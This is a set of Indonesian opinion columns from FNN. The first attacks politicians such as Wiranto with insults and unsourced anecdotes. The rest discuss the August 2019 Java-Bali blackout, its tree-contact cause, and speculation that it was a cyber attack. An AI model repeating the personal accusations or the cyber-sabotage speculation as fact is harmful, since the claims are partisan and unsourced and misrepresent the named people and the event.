By Luqman Ibrahim Soemay (Bagian Pertama) Jakarta, FNN - Kerja politik Kepala Badan Intelijen Negara (BIN) Budi Gunawan berbuah manis dan indah. Kalau ibarat barang dagangan, kerja Budi Gunawan ini bisa dibilang meraih sukses besar atau untung besar. Wajar bila ada yang memperkirakan kesepakatan itu sudah mencapai 90%. Megawati dan Jokowi bakal berkoalisi dengan Prabowo. Jadilah koalisi nasionalis sejati antara Megawati, Jokowi, dan Prabowo. Koalisi ini pasti bakal membuat banyak pihak yang blingsatan. Mereka seperti mimpi di siang bolong. Penolakan paling keras pasti datang dari mereka, khususnya elit politik yang selama ini manjadikan Prabowo sebagai musuh abadi. Bahkan mungkin sampai di dalam kubur sekalipun mereka tetap saja memusuhi Prabowo. Penyebabnya hanya karena Prabowo terlalu banyak tahu tentang sepak terjang mereka selama masih aktif menjadi tentara. Mereka umumnya menunggangi dan menjadikan jabatan untuk kepentingan pribadi. Namun berlaga seperti orang yang paling berpihak kepada kepentingan rakyat. Selain Prabowo, Megawati adalah orang paling tahu tentang kepalsuan dan kebusukan mereka selama ini. Kubu pertama yang paling resisten dengan lahirnya koalisi Mega Jokowi Prabowo adalah “Trio Wekwek”. Personilnya adalah AM. Hendropriyono, Luhut Binsar Pandjaitan dan Gories Mere. Sudah dijelaskan dalam tulisan sebelumnya bahwa Trio Wekwek ini salah satu hobinya adalah membenturkan pemerintah Jokowi dengan kelompok Islam kanan. Pendukung Prabowo, hampir dua pertiga adalah kelompok Islam kanan. Trio Wekwek berhasil memframming wajah Islam Indonesia yang identik dengan Islam teroris, Islam ekstrim, Islam radikal dan Islam intoleran. Trio Wekwek banyak mendapatkan manfaat dari memframming wajah Islam seperti ini. Kelompok elit politik lain yang sangat terpukul dengan lahirnya koalisi Teuku Umar ini adalah Trio Wiranto, Susilo Bambang Yudhoyono (SBY) dan Surya Paloh. Saya namakan mereka bertiga dengan sebutan “Trio Ubur-ubur”. Berbeda dengan Trio Wekwek dalam bekerja di lapangan. Trio Wekwek sering bekerja secara tim. Meskipun mempunyai musuh bersama, yaitu Prabowo, namun Trio Ubur-ubur ini tidak bekerja secara tim. Personil Trio Ubur-ubur cenderung bekerja sendiri-sendiri dalam menjegal atau menghadapi Prabowo. Mereka lebih nyaman bekerja menghalangi Prabowo dengan menggunakan tim-tim kecilnya sendiri, daripada bersama-sama. Syahwat kekuasaan yang paling menonjol dari Trio Ubur-ubur ini adalah memperjuangkan kepentingan pribadi mereka dan anak-anaknya saja. Trio Ubur-ubur jarang sekali berjuang untuk kepentingan kelompok atau teman-teman dekatnya. Boleh dibilang tidak terlintas sedikitpun di benak Trio Ubur-ubur untuk memikirkan kepentingan dan keselamatan bangsa. Laga-laganya seperti hidupnya hanya untuk bangsa dan negara. Sebaliknya, Trio Ubur-ubur selalu berusaha dengan segala cara menunggangi bangsa dan negara untuk kepentingan pribadi mereka. Wiranto misalnya, kalo meminjam sinyalemen mantan Kasum TNI Letjen TNI (Purn.) J. Suryo Prabowo menjadi spesialis penjilat kekuasaan. Wiranto mulai menjilat kekuasaan sejak eranya Presiden Soeharto. Setelah itu dilajutkan dengan menjilat B.J. Habibie. Saat Gus Dur menjabat presiden, Wiranto menjilat Gus Dur untuk menjadi Menkopolhukam. Namun dipecat oleh Gus Dur di tengah jalan. Bahkan Gus Dur memecat Wiranto dari dalam pesawat kepresidenan dalam perjalanan pulang dari Amerika menuju Jakarta. Sekarang giliran Wiranto kembali menjilat Jokowi untuk masuk dalam pusat kekuasaan. Saat menjabat sebagai Panglima TNI dan Menhankam, Presiden Habibie pernah melamar Wiranto untuk menjadi wakil presiden di Pemilu 1999, jika pertanggung jawaban presiden mandataris MPR diterima Sidang Umum MPR. Namun ketika itu Wiranto menolak ajakan Habibie. Padahal sejatinya ajakan Habibie kepada Wiranto adalah perintah dari seorang Presiden/Penglima Tertinggi Angkatan Bersenjata—sekarang TNI. Alasan Wiranto menolak permintaan Habibie adalah memilih berada di tengah-tengah semua kelompok politik dan masyarakat. Wiranto mengatakan, “dalam kondisi seperti sekarang ini, tempat yang terbaik bagi saya adalah berada dan berdiri di tengah-tengah semua kelompok masyarakat”. Sayangnya diam-diam Wiranto punya rencana lain. Dengan bermodalkan Fraksi ABRI, Fraksi Utusan Daerah dan Fraksi Golkar di MPR, Wiranto berharap dirinya yang dicalonkan sebagai presiden oleh MPR. Wiranto ketika itu berharap pertangung jawaban Presiden Habibie sebagai Presiden Mandataris ditolak oleh MPR. Dengan demikian Habibie tidak lagi maju sebagai calon presiden periode 1999-2004. Hasil Sidang Umum MPR memang menolak pertanggungjawaban Habibie sebagai Presiden Mandataris. Akibatnya Habibie juga batal untuk mencalonkan diri lagi sebagai Presiden. Namun bukannya Wiranto yang dicalonkan oleh fraksi-fraksi di MPR, tatapi Gus Dur dan Mewagati dicalonkan dan dipilih MPR sebagai Presiden dan Wakil Presiden untuk periode 1999-2004. Keputusan menolak perintah Habibie sebagai Presiden/Panglima Tertinggi TNI bukanlah yang pertama kali bagi Wiranto. Pada tahun 1998, Wiranto juga menolak perintah Presiden Soeharto untuk melakukan langkah-langkah pemulihan keamanan melalui Instruksi Presiden (Inpres) Nomor 16 tahun 1998. Jawaban Wiranto kepada Presiden Soeharto ketika itu adalah “Saya tidak bisa melaksanakan Inpres ini Pak”. Dijawab lagi oleh Soeharto kepada Wiranto “Dasar kamu memang jenderal banci. Saya sudah tahu kamu tidak mampu melaksanakan Inpres ini”. Mengomentari sikap Wiranto menolak Inpres Nomor 16 Tahun 1998 tersebut, seorang pensiunan Jenderal TNI mengatakan, “Waktu itu Panglima ABRI-nya bukan Wiranto, tetapi Wiranti. Pastilah tidak punya nyali dan keberanian. Kalau saya yang dikasih kewenangan Inpres tersebut, pasti sudah saya sapu besih itu gedung DPR, “ujar sang pensiunan. Menolak perintah Presiden/Penglima Tertinggi Militer adalah tindakan insubordinasi bagi seorang prajurit TNI. Perbuatan Wiranto ini, termasuk katagori pelanggaran paling berat di militer, karena dapat membahayakan kepentingan negara. Hukumannya juga dipilih hukuman yang paling memberatkan. Beberapa negara tertentu menerapkan sanksi hukuman mati atau penjara seumur hidup untuk pelanggaran seperti ini. Untuk masuk dalam kekuasaan, Wiranto tidak peduli siapa presiden yang sedang berkuasa. Wiranto akan melakukan segala cara, daya, dan upaya untuk menjilat presiden yang berkuasa. Targetnya diterima masuk dalam kekuasaan. Wiranto juga sepertinya tidak bisa survive di tengah-tengah masyarakat tanpa manyandang label bagian dari kekuasaan. Wiranto bukan saja lihai dan jago dalam menjilat penguasa. Untuk mewujudkan ambisinya, mantan ajudan Soeharto ini bisa juga menjadi raja tega. Wiranto bisa dengan sadar rela mengorbankan teman-teman dekatnya demi memuluskan ambisi masuk dalam kekuasaan. Lihat saja, berapa banyak teman-teman lamanya ketika masih aktif di TNI bisa bertahan berada di samping Wiranto sekarang? Kalaupun masih ada, ya bisa dihitung dengan jari. Paling-paling hanya satu dua orang yang bisa bertahan mengikutinya. Yang masih bertahan ikut Wiranto tinggal Jendral TNI (Purn.) Fahrul Rozy, Jendral TNI (Purn.) Subagyo HS dan Marsekal Madya TNI (Purn.) Daryatmo. Selain itu, jenderal-jenderal loyalis Wiranto pada kabur meninggalkan Wiranto. Sebut saja Letjen TNI (Purn.) Suadi Marasabessy, Komjen Polisi (Purn.) Nugroho Djajusman, Letjen TNI (Purn.) Sarwan Hamid, Letjen TNI (Purn.) Agus Wijoyo, Letjen TNI (Purn.) Djamari Chaniago, Letjen TNI (Purn.) Djaja Suparman dan Letjen TNI (Purn.) Sudi Silalahi. Lihat kelakuan Wiranto untuk bisa masuk menjadi Menkopolhukam. Dia tidak segan-segan untuk mengorbankan dua kadernya dari Partai Hanura yang sedang menjabat menteri. Mereka adalah Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Yudi Chrisnandi dan Menteri Perindustrian Saleh Husein. Hanya orang gila kekuasaan yang rela korbankan kadernya demi ambisi pribadinya. Dan manusia langka itu hanya Wiranto Wiranto juga dengan sangat sadar rela mengorbankan Partai Hanura yang didirikannya lima belas tahun lalu. Saat itu Jokowi mempunyai kebijakan, para menteri tidak boleh merangkap Ketua Umum Parpol. Wiranto lalu menyerahkan Partai Hanura bulat-bulat ke Oesman Sapta Odang (OSO) yang bukan kader Hanura. Kabarnya OSO bisa menjadi Ketua Umum Hanura dengan sejumlah cerita miring adanya angka-angka keberuntungan yang menyertainya. Hasil Pemilu Legislatif 2019 cukup jelas dan nyata bagi Wiranto. Partai Hanura terjun bebas dari gedung DPR Senayan. Hanura tidak lolos ambang batas Parliamentary Threshold di DPR, yang dipatok minimal empat persen. Akibatnya, untuk pertama sejak kelahirnya, Partai Hanura tidak lagi mempunyai kursi di perlemen senayan. Wiranto memang sukses menggusur Partai Hanura keluar dari DPR demi memenuhi syahwat dan ambisi pribadinya. Selain tidak bisa eksis tanpa menjilat penguasa, Wiranto juga tak bisa hidup tanpa embel-embel jabatan “ketua”. Mau “ketua” apa saja tidaklah penting. Yang terpenting nama dari jabatan tersebut adalah “ketua”. Jabatan “ketua” itu menjadi penting karena akan dijadikan Wiranto sebagai bargaining positioning dan pintu masuk menjilat kekuasaan. Seorang teman sambil bergurau mengatakan, Wiranto itu kalau malaikat pencabut nyawa “Malaikat Izrail” mau menjemputnya, Wiranto masih sempat-sempatnya bertanya dulu, “Sabar malaikat. Kalau di akherat sana, saya bisa punya jabatan sebagai ketua apa?" Terakhir Wiranto juga masih sempat bertanya kepada Malaikat Izrail, “Nanti saya bisa diterima ngga menjadi bagian dari penguasa di sana? Jabatan apa saja oke okelah, yang penting bisa masuk ke dalam kekuasaan. Syukur syukur bisa jadi Menkopolhukam lagi”. (bersambung ke SBY & Paloh).

Ternyata "Teroris" Blackout Total Bernama Sengon

Ada perang cyber yang berlangsung senyap. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Apakah pemadaman total jaringan listrik PT PLN pada Minggu (4/8/2019) itu hanya semata ketidakbecusan manajemen PLN? Tidakkah ada yang berpikiran bahwa blackout total itu ada kaitannya dengan cyber crime untuk tujuan tertentu? Misalnya, tujuan tertentu seperti politik atau ekonomi untuk menekan lawan politik, sehingga berbuah bargaining atau untuk mendapatkan keuntungan ekonomi. Wujud dari penekanan ini biasanya berupa “sabotase” politik dan/atau ekonomi. Atau bisa juga koalisi keduanya: politik dan ekonomi. Seperti diungkap Direktur The Global Future Institute Prof. Hendrajit, blackout total yang dialami PLN itu pada perkembangannya membawa dampak sosial politik dan sosial ekonomi. Naluri jurnalistiknya mengatakan, ada sesuatu yang berlangsung di balik blIackout total. Ada perang cyber yang berlangsung senyap? Siapapun yang mengandalkan teknologi komunikasi dan transportasi tiba-tiba lumpuh. Siapa paling dirugikan? Hendrajit mengungkap fakta penting yang tak disorot media: Pertama, Blackout total terjadi ketika PLN sedang mengalami kekosongan kepemimpinan. Dirut PT PLN (Sofyan Baasyir) terjerat perkara hukum; Kedua, Menkopolhukam Wiranto, Panglima TNI Marsekal TNI Hadi Tjahjanto, dan Kapolri Jenderal Polisi Tito Karnavia tidak berinisiatif membuat pernyataan melalui pers. Padahal, blackout total pada perkembangannya membawa dampak sosial politik dan sosial ekonomi; Ketiga, Ketika semua alat komunikasi lumpuh akibat blackout, satu satunya alat komunikasi yang berfungsi adalah telpon satelit. “Sabtu 2 minggu lalu Mandiri diubek-ubek sistemnya sampai saldo nasabah kacau-balau,” ungkap Hendrajit. “Sekarang ini sistem kelistrikannya. Siapa ya kira-kira penjahatnya?” lanjutnya. Di London blackout karena cyber attack ke pembangkit listrik, dan jadi sarana pemerasan oleh IT Mogul dari Silicon Valley untuk menguasai data negara-negara G12. Gegara blackout total, Hendrajit sampai perlu baca buku karya Lawrance E. Joseph bertajuk Aftermath dan novel mantan Presiden AS Bill Clinton The Missing President. Pada 2002 atau sebelumnya, National Academy of Sciences pernah memperingatkan bahwa ledakan matahari bisa memutus jaringan energi. Memaksa 100 juta penduduk Amerika hidup tanpa listrik. Tak ada telekomunikasi. Tak ada bahan bakar. Tak ada air. Tak ada perbankan, tak ada penegakan hukum. Tak ada militer. Lawrance menulis buku ini pada 2002 untuk memprediksi skenario terburuk untuk Amerika menghadapi kiamat kecil pada 2012. Sekaligus petunjuk buat mempersiapkan diri bertahan menghadapi kiamat 2012. Namun, saat Bill Clinton pensiun dari presiden pada 2000, rupanya punya kecemasan yang sama seperti Lawrance. Bedanya Clinton, mungkin dengan menyerap pengalamannya waktu jadi presiden, memberi sudut pandang yang beda dengan Lawrance dalam menggambarkan skenario terburuk seperti digambarkan dalam buku Aftermath. Dalam novel yang ditulis Clinton bersama James Peterson, berjudul The Missing President, penyebabnya bukan ledakan matahari yang berakibat memutus jaringan energi. Melainkan akibat kejahatan cyber. Cyber Crime. “Mungkin saja itu yang terjadi di kita tadi, cyber crime yang berujung proyek, seperti yang sudah-sudah,” ungkap Hendrajit. Tawaran dari negeri seberang untuk “membantu” proyek pengadaan suplai listrik sehingga tidak terjadi lagi “pemadaman”. Kabar adanya pemadaman aliran listrik akibat gangguan pada sejumlah pembangkit di Jawa datang dari I Made Suprateka, Executive Vice President Corporate Communication & CSR PLN, Minggu (4/8/2019). PLN mohon maaf atas pemadaman yang terjadi akibat Gas Turbin 1-6 Suralaya mengalami trip, sementara Gas Turbin 7 saat ini dalam posisi mati (Off). Selain itu Pembangkit Listrik Tenaga Gas Turbin Cilegon juga mengalami gangguan atau trip. Gangguan ini mengakibatkan aliran listrik di Jabodetabek mengalami pemadaman. “Kami mohon maaf sebesar-besarnya untuk pemadaman yang terjadi, saat ini upaya penormalan terus kami lakukan,” ungkap Made Suprateka. Bahkan, katanya, beberapa Gardu Induk sudah mulai berhasil dilakukan penyalaan. Di Jabar, terjadinya gangguan pada Transmisi SUTET 500 kV mengakibatkan padamnya sejumlah area seperti Bandung, Bekasi, Cianjur, Cimahi, Cirebon, Garut, Karawang, Purwakarta, Majalaya, Sumedang, Tasikmalaya, Depok, Gunung Putri, Sukabumi, dan Bogor. “Sekali lagi kami mohon maaf dan pengertian seluruh pelanggan yang terdampak akibat gangguan ini, kami berjanji akan melakukan dan mengerahkan upaya semaksimal mungkin untuk memperbaiki sistem agar listrik kembali normal,” tutur Made Suprateka. Dari sisi perbaikan penyebab gangguan: sudah dilaksanakan pengamanan GSW yang putus, dan penyalaan kembali GT di Suralaya; akan dilaksanakan scanning assesment kondisi GSW yang se type; pengaturan beban dari UP2B untuk meminimalisir pemadaman. Demikian penjelasan Made Suprateka menyusul blackout total aliran listrik tersebut. Presiden Joko Widodo sendiri langsung mendatangi Kantor Pusat PT PLN, Senin (5/8/2019). Presiden ingin mendengan langsung peristiwa pemadaman total Minggu (4/8/2019). Menurutnya, dalam sebuah manajemen besar seperti PLN ini mestinya, ada tata kelola risiko-risiko yang dihadapi dengan manajemen besar tentu saja ada contingency plan, ada backup plan. “Kenapa itu tidak bekerja dengan cepat dan dengan baik?” ujarnya. “Saya tahu peristiwa seperti ini pernah kejadian di tahun 2002, 17 tahun yang lalu, Jawa dan Bali. Mestinya itu bisa dipakai sebuah pelajaran kita bersama. Jangan sampai kejadian yang sudah pernah terjadi itu kembali terjadi lagi,” lanjut Presiden. Di hadapan Presiden Jokowi, Plt Direktur Utama PT PLN (Persero) Sripeni Inten Cahyani mengakui proses penanganan listrik mati yang melanda sejumlah wilayah Jateng, Jabar, DKI Jakarta, hingga Banten berjalan lambat. Listrik padam berlangsung hingga berjam-jam dan baru malam kembali menyala, meskipun belum menyeluruh. “Kami mohon maaf Pak prosesnya lambat, kami akui prosesnya lambat,” kata Sripeni kepada Presiden Jokowi. Sripeni menjelaskan awal masalah terjadinya peristiwa mati listrik di sejumlah wilayah di Jateng, Jabar, DKI Jakarta, hingga Banten. Ia menyatakan terjadi masalah di Saluran Udara Tegangan Ektra Tinggi (SUTET) 500 kV Ungaran- Pemalang. Ia mengatakan sistem kelistrikan di Jawa-Bali terdapat dua sistem, yaitu sistem utara dan selatan. Masing-masing dari sistem itu terdapat dua sirkuit atau jaringan, sehingga total ada empat jaringan. Menurutnya yang bermasalah pada jaringan utara. “Jadi pada di utara, Ungaran, Pemalang pertama terjadi gangguan pada pukul 11.48 WIB, kemudian sirkuit, jadi terjadi gangguan, dua line terjadi gangguan,” lanjutnya. Penjelasan Sripeni terkait teknis pemadaman listrik pun sudah diungkap. “Pertanyaan saya, tadi di penjelasannya panjang sekali. Pertanyaan saya Bapak/Ibu semuanya ini kan orang pintar-pintar apalagi urusan listrik sudah bertahun-tahun, apakah tidak dihitung, apakah tidak dikalkulasi bahwa akan ada kejadian-kejadian sehingga kita tahu sebelumnya.” Tampaknya, Presiden Jokowi tidak puas dengan penjelasan Sripeni itu. “Kalau tahu-tahu drop gitu artinya pekerjaan-pekerjaan yang ada tidak dihitung, tidak dikalkulasi dan itu betul-betul merugikan kita semuanya,” tegasnya. “Mohon izin menambahkan, Bapak. Tadi yang Bapak sampaikan mengenai kalkulasi, kami memiliki ketentuan Bapak, m-1, kemudian emergency-nya adalah m-1-1. M itu adalah jumlah sirkuit Bapak,” jawab Sripeni. Dijelaskannya, di dalam sistem yang masuk tadi utara dan selatan tadi ada 2 sirkuit di utara dan 2 sirkuit di selatan, ada jumlahnya 4. Kemudian 2 hilang secara tiba-tiba, jadi menjadi m-2. “Kemudian satu itu sudah ada pemeliharaan, jadi m-1 artinya pemeliharaan yang dibolehkan adalah 1, yaitu di selatan. Ini yang kami tidak antisipasi adalah terjadinya gangguan 2 sirkuit sekaligus,” lanjut Sripeni. “Ini yang secara teknologi nanti kami akan investigasi lebih lanjut, Bapak, berkaitan dengan gangguan di satu tempat tersebut dan mudah-mudahan nanti inilah yang dari sisi keteknisan akan menjadi improvement ke depan,” tambah Sripeni. Menurut Presiden Jokowi, yang paling penting perbaiki secepat-cepatnya yang memang dari beberapa wilayah yang belum hidup segera dikejar dengan cara apapun supaya segera bisa hidup kembali. “Kemudian hal-hal yang menyebabkan peristiwa besar ini terjadi sekali lagi saya ulang jangan sampai kejadian lagi. Itu saja permintaan saya. Baiklah, terima kasih,” tegas Presiden Jokowi saat mengakhiri perbincangannya. Kepala Biro Penerangan Masyarakat Divisi Humas Mabes Polri Brigjend Pol Dedi Prasetyo tentang penyebab blackout total baru-baru ini. Dedi menyebut, pohon sengon di wilayah Ungaran sebagai penyebab pemadaman listrik secara massal itu. Terkait kesimpulan tersebut, Anggota Komisi III DPR Arsul Sani pun mengkritisi Mabes Polri. “Ya, saya malah ingin mengkritisi kesimpulan Mabes Polri yang terlalu cepat,” ujar Arsul Sani, Selasa (6/8/2019). Sripeni membantah pernyataan Brigjen Dedi Prasetyo. Ia menegaskan, investigasi terhadap penyebab pemadaman listrik secara massal itu belum rampung. “Enggak, jadi kompleks. Sistem Jawa Bali itu sangat kompleks, rekan-rekan perlu pahami,” tegasnya. “Ada 250 pembangkit, kemudian 5.500 gardu induk, 5.000 km sirkuit transmisi 500 kV dan 7.000 km transmisi 150 kV,” ungkap Sripeni seusai pertemuan dengan Komisi VII DPR di Gedung DPR, Senayan, Jakarta, Selasa (6/8/2019). Menurut dia, penyebab pemadaman listrik secara massal tersebut bukan tunggal. “Jadi mohon izin, berikan kami waktu untuk melakukan investigasi dan assesment dengan menyeluruh,” tegas Sripeni, seperti dilansir berbagai media. Jika ternyata penyebab blackout total tersebut memang pohon sengon, betapa mahalnya harga “teroris” ini: Rp 1 triliun! ***

Sengon 1 Triliun

Pohon sengon itu bukan satu-satunya tersangka. Oleh : Dahlan Iskan Jakarta, FNN - Sepele sekali. Kelihatannya. Hanya gara-gara satu pohon sengon. Listrik seluruh Jakarta padam. Juga Jabar. Dan sebagian Jateng. Minggu-Senin lalu. Pohon sengonnya ada di Desa Malon. Nun jauh di Gunung Pati, 28 km selatan Semarang. Mati listriknya sampai Jakarta. Maka pohon sengon itu perlu diabadikan. Fotonya. Untuk dipasang di seluruh kantor PLN. Sebagai monumen. Yang harus diajarkan turun-temurun. Dari satu generasi ke generasi berikutnya. Betapa mahalnya pohon sengon itu. Sampai membuat berjuta-juta orang menderita. Pun kereta bawah tanah. Yang masih baru. Ikut lumpuh. Penumpangnya harus dievakuasi. Presiden Jokowi sampai marah karenanya. Bahkan PLN sendiri sampai harus mengeluarkan ganti rugi kepada konsumen. Nilainya sampai Rp 1 triliun. Satu pohon sengon. Di sebuah desa. Mampu menggegerkan mayapada. Pohon sengon itu tidak salah. Tumbuhnya di dalam pagar penduduk. Tapi menjulang sangat tinggi. Tinggi tiang SUTET itu 40 meter. Tapi bentangannya menggelayut. Tinggi 18 meter. Tinggi sengon itu sekitar 15 meter. Sudah mencapai medan magnet SUTET. Tapi sengon itu juga berhak bertanya: - Mengapa dibiarkan tumbuh tinggi di situ? - Mengapa tidak ada yang tahu? - Apakah tidak ada lagi anggaran untuk patroli pohon? - Mengapa ada kebijakan anggaran ini --bahwa biaya operasi dan pemeliharaan harus di bawah anggaran SDM? - Mengapa SUTET itu begitu rapuh? Hanya kesenggol satu pohon sudah pingsan? Itulah. Mengapa tidak boleh ada pohon dekat SUTET (Saluran Utama Tegangan Ekstra Tinggi). Jangankan sampai nyenggol. Memasuki medan magnetnya pun sudah mengganggu. Bisa korsleting. Yang mengakibatkan arus listrik terhenti. Mengapa yang korsleting di selatan Semarang, padamnya di Jakarta dan Jabar? Orang Jakarta itu makan listriknya paling besar. Apalagi ditambah daerah industri sekitarnya: Tangerang, Bogor, Bekasi, Karawang. Padahal pembangkit listrik terbesarnya ada di Jatim. Di Paiton. Maka harus ada pengiriman listrik dalam jumlah besar. Dari Jatim ke Jakarta. Sekitar 3000 MW. Tepatnya saya sudah lupa. Listrik sebesar itu hanya bisa dikirim lewat SUTET --yang tegangannya 500 kVA. Ibarat kirim air, selangnya harus sangat besar. Kian tinggi tegangannya kian luas medan magnetnya. Karena itu harus ada sempadan yang lebar. Di sepanjang jalur SUTET tidak boleh ada tanaman tinggi. Dalam istilah listrik sempadan itu disebut ROW --Right of Way. Dulu selalu ada patroli. Yang mengawasi ROW itu --apakah mulai ada gejala pohon yang mengganggu. Tidak harus tiap hari. Pohon tidak bisa mendadak tinggi. Pertanyaannya: apakah anggaran patroli masih ada? Atau manajemen patrolinya yang lemah? Atau patroli sudah dilakukan, laporan sudah dibuat, tapi tidak ada anggaran penebangan pohon? Sesederhana itu. Tapi ada juga unsur nasib. Jawa itu sebenarnya sudah aman. Biar pun sebagian besar pembangkitnya ada di Jatim. Di Jawa sudah punya dua jalur SUTET. Jalur Utara (yang lewat Ungaran, Semarang itu) dan jalur tengah. Membentang dari ujung timur ke ujung barat Jawa. Kalau pun ada gangguan di jalur utara seperti itu sebenarnya tidak ada masalah. Arus listriknya bisa otomatis pindah ke SUTET jalur tengah. Pohon sengon itu bukan satu-satunya tersangka. Memang nasib PLN lagi apes. Terutama Plt Dirutnya. Masih baru. Belum 24 jam. Hari Minggu itu ada perbaikan SUTET jalur tengah. Di timur Tasikmalaya. SUTET-nya dimatikan. Dengan pertimbangan sangat rasional: pada hari Minggu beban listrik di sekitar Jakarta turun drastis. Cukup dilayani jalur utara. Sayang, kok sengon itu begitu jahatnya --bergoyang di hari Minggu itu. SUTET Utara kena sengon. SUTET tengah lagi diperbaiki. Akibat hilangnya pasokan dari dua SUTET tadi beban listrik kacau sekali. Pembangkit-pembangkit listrik di wilayah barat mati satu-persatu. Terjadilah bencana itu. Kenapa begitu lama? Ini sudah menyangkut manajemen recovery. Hanya PLN yang tahu. Ada pertanyaan kecil: ke mana pasukan 'Kopassus'-nya P2B? Yang dibentuk dulu itu? Yang bisa memelihara SUTET tanpa harus mematikan sistem itu? Dibubarkan? Tidak diteruskan? Tidak cukup? Tidak dikembangkan? Tidak ada anggaran? Saya masih ingat. Peresmian pasukan itu dilakukan besar-besaran. Di Monas. Dengan demo cara-cara memelihara SUTET. Tanpa mematikannya. Memang sangat berisiko. Peralatannya khusus. Bajunya khusus. Kepandaiannya khusus. Karena itu kita juluki 'Kopassus'-nya PLN. Di PLN juga ada satu departemen khusus: namanya P2B. Itulah yang mengatur seluruh sistem listrik di Jawa. Isinya orang-orang istimewa. Ahli-ahli listrik. Saya menyebutnya 'otak'-nya listrik. Lembaga itulah yang mengatur seluruh sistem di Jawa. Kadang saya dikritik. Terlalu mengistimewakan P2B. Saya tidak peduli. Saya sudah biasa mengistimewakan redaksi. Dalam seluruh organisasi surat kabar. SUTET di bawah P2B itu. Tapi P2B di bawah siapa? Organisasi PLN sekarang sudah beda. Di Jawa ada tiga direksi. Direktur Jatim/Bali, Direktur Jateng/DIY dan direktur Jabar/DKI. P2B bisa punya posisi yang tidak jelas --di bawah koordinasi direktur yang mana. Mungkin sudah diatur. Orang luar seperti saya tidak bisa melihat. P2B itu perlu terus berkoordinasi. Tiap tiga bulan mereka harus rapat. Untuk evaluasi perkembangan sistem di Jawa. Adakah rapat itu masih ada? Atau sudah ditiadakan? Rapat-rapat P2B tidak boleh dianggap rapat biasa --yang bisa dihapus demi penghematan. Demi laba. Memang ironi: listrik itu baru diingat justru di saat ia mati.h (https//www.disway.id)

Listrik O Poin O di Era 4 Poin O

Kita sering melompat terlalu jauh, tanpa terlebih dahulu menyiapkan fondasi yang kokoh. Oleh Hersubeno Arief Jakarta, FNN - Ahad malam (4/8) ketika ibukota Jakarta dan separoh pulau Jawa gelap gulita, listrik menyala terang di ladang-ladang bawang merah di Desa Slatri, Kecamatan Larangan, Brebes, Jawa Tengah. Daya listrik itu berasal dari sejumlah generator diesel, ada juga yang berasal dari aki. Nyalanya berpendaran, seperti nyala kunang-kunang yang sangat besar di kegelapan malam. Nyala ratusan lampu di sudut desa —sekitar 30 menit dari pusat kota Brebes— itu sangat kontras dengan kehebohan yang terjadi di Jakarta. Kehidupan para petani berjalan terus, dengan atau tanpa pasokan listrik dari PLN. Bagi para petani bawang di Brebes nyala listrik sangat penting. Soal hidup mati. Menyangkut kelangsungan periuk nasi keluarga. Sinar terang itu menarik berbagai binatang yang menjadi hama. Mereka mati tenggelam di baskom-baskom air yang ditempatkan di bawah nyala bola lampu. Bisa dibayangkan apa yang terjadi bila para petani ini bergantung kepada Perusahaan Listrik Negara (PLN) PT Persero. Ketika listrik padam, tanaman bawang merah akan dilumat habis berbagai hama. Kehidupan para petani yang sudah sangat sulit, akan semakin sulit. Panen secara normal saja mereka masih sering rugi. Harga jual sering jatuh di bawah biaya produksi. Apalagi kalau sampai gagal panen. Padamnya listrik PLN yang berdampak pada lebih 30 juta rumah tangga, transportasi publik, industri, bisnis dan keuangan ini, menyentak kesadarkan kita. Betapa rentannya negara ini. Mudah sekali diporak-porandakan. Ketika dunia sudah memasuki era industri 4.0 ( four poin O). Industri yang bergantung kepada komputer, robot. Industri digital, bergantung pada internet, namun listriknya masih sering mengalami pemadaman. Byar pet. Suplai listrik ibukota, tempat istana kepresidenan berada. Sebuah kota yang menjadi pusat bisnis dan perdagangan Indonesia, tanpa cadangan yang berlapis. Sangat sulit dipahami oleh akal sehat. Seorang teman secara sinis menyebut listrik Indonesia masih dalam era 0.0 (O Poin O), sementara dunia sudah bergerak ke era industri 4.0. “Listrik byar pet itu hanya terjadi di Eropa pada abad pertengahan,” ujarnya dengan kesal. Dengan kondisi semacam itu rasanya terlalu muluk-muluk kita bicara soal industri digital. Membangga-banggakan Unicorn dengan valuasi miliaran dolar. Membangun industri mobil listrik. Apalagi mobil terbang seperti dibahas oleh Presiden Jokowi dengan para bos Hyundai Motors Group dari Korea Selatan yang pekan lalu bertemu dengannya di istana. Kita sering melompat terlalu jauh, tanpa terlebih dahulu menyiapkan fondasi yang kokoh. Listrik untuk para petani saja masih belum tersedia, sudah bicara industri digital. Industri mobil nasional (Esemka) sampai sekarang belum terwujud, tapi sudah bicara tentang industri mobil listrik, bahkan mobil terbang. Mimpi besar itu hanya akan menjadi mimpi di siang bolong, ketika hal yang paling mendasar masih belum mampu kita penuhi. Kepastian pasokan listrik. Bagaimanapun ketersediaan dan keandalan listrik adalah syarat utama sebuah industri. Seperti sebuah bangunan megah, namun pondasinya tidak dipersiapkan dengan baik, bahkan diabaikan. Tinggal menunggu waktunya untuk roboh. Cepat atau lambat hal itu akan terjadi. Harus ada kesadaran dan keberanian untuk berubah. End

Cahaya Listrik Penting, Nur Illahi Jauh Lebih Penting

Kita butuh pemimpin yang sejuk bukan umuk, yang mengayomi bukan memusuhi, yang memberi contoh bukan yang menjiplak. Oleh Sri Widodo Soetardjowijono (Wartawan FNN) Jakarta, FNN - Lebih dari 15 jam bahkan ada yang 29 jam dalam kegelapan, tak membuat rakyat Indonesia sengsara apalagi terbelakang. Yang rugi paling-paling pengusaha besar, konglomerat, dan penjual jasa papan atas. Jika ada rakyat yang ikut sedih, larut dalam kekecewaan lalu murka, itu hanya bersifat emosional sesaat. Rakyat sudah terbiasa hidup dengan kebutuhan listrik minim, lampu pijar 5 watt. Mereka masih bisa jalan kaki, pakai kayu bakar, bahkan tidur dalam gelap. Bangsa Indonesia adalah bangsa Indonesia yang selalu bisa berdamai dengan segala keterbatasan. Tak dipungkiri, matinya listrik memang mengakibatkan mandegnya alat-alat transportasi. Tetapi di sisi lain, ini justru menguntungkan tukang ojek, sopir angkot, dan tukang becak. Kebanjiran penumpang - kaum terpinggirkan ini - ibarat ketiban durian runtuh. Demikian juga putusnya alat komunikasi melahirkan hikmah tersendiri, membuat masyarakat kembali saling sapa dan tegur. Jika sebelumnya mereka sibuk dengan gadget masing-masing, kemarin mereka asyik berdiskusi, ngobrol dan sesekali berkeluh kesah. Warung tradisionalpun menjadi ramai pembeli. Ada miliaran jutaan yang saat itu kembali berputar di tangan masyarakat. Juga ada miliaran rupiah kerugian yang diderita oleh para pengusaha telekomunikasi, pebisnis startup, dan kartel ritail. 